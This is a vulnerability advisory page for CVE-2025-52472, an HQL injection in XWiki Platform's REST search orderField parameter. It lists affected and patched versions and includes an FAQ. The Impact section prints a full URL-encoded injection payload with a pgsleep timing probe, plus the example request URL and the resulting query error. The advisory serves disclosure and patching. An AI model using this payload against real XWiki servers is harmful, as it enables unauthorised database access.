CVE-2025-52472: XWiki Platform vulnerable to HQL injection via wiki and space search REST API
Impact
The REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it.
For example, with the following orderField parameter:
doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D'%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpgsleep(1)%3Dversion()%7C%7Cpgsleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment'%20or%20a%3D'%20order%20by%20doc.fullName See the following error:
QuerySyntaxException: unexpected token: $$ near line 1, column 518 [select distinct doc.fullName, doc.space, doc.name, doc.language, doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where (doc.hidden <> true or doc.hidden is null) and ($$='$$=concat(chr(61),chr(39)) and version()||pgsleep(1)=version()||pgsleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=') order by doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where ( (upper(doc.title) like :keywords) ) order by doc.doc.fullName from com.xpn.xwiki.doc.XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pgsleep(1)=version()||pgsleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName asc]
For reference, the full URL for the above error is:
http://localhost:8080/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpgsleep(1)%3Dversion()%7C%7Cpgsleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName
Patches
This has been patched in 17.5.0, 17.4.2, 16.10.9.
Workarounds
There is no known workaround, other than upgrading XWiki.
Resources
https://jira.xwiki.org/browse/XWIKI-23247 https://github.com/xwiki/xwiki-platform/commit/743ebf8696ffa55161ed2c5ecf26b09f69e6bcf1 https://github.com/xwiki/xwiki-platform/commit/a45eca2af772abb7324e56d7fd2df1ac937bc445
For more information
If you have any questions or comments about this advisory: Open an issue in Jira XWiki.org Email us at Security Mailing List
Other sources
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0, the REST search URL is vulnerable to HQL injection via the orderField parameter. The specified value is added twice in the query, though, once in the field list for the select and once in the order clause, so it's not that easy to exploit. The part of the query between the two fields can be enclosed in single quotes to effectively remove them, but the query still needs to remain valid with the query two times in it. This has been patched in versions 17.5.0, 17.4.2, and 16.10.9. No known workarounds are available.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-52472?
CVE-2025-52472 is considered a high severity vulnerability due to the potential for HQL injection.
How do I fix CVE-2025-52472?
To mitigate CVE-2025-52472, upgrade the XWiki Platform to versions 16.10.9, 17.4.2, or 17.5.0 or later.
What systems are affected by CVE-2025-52472?
CVE-2025-52472 affects XWiki Platform versions from 4.3-milestone-1 up to, but not including, 16.10.9.
What types of attacks are possible with CVE-2025-52472?
CVE-2025-52472 allows attackers to perform HQL injection attacks through the `orderField` parameter.
How can I determine if my installation is vulnerable to CVE-2025-52472?
You can determine vulnerability to CVE-2025-52472 by checking your XWiki Platform version against the affected version range.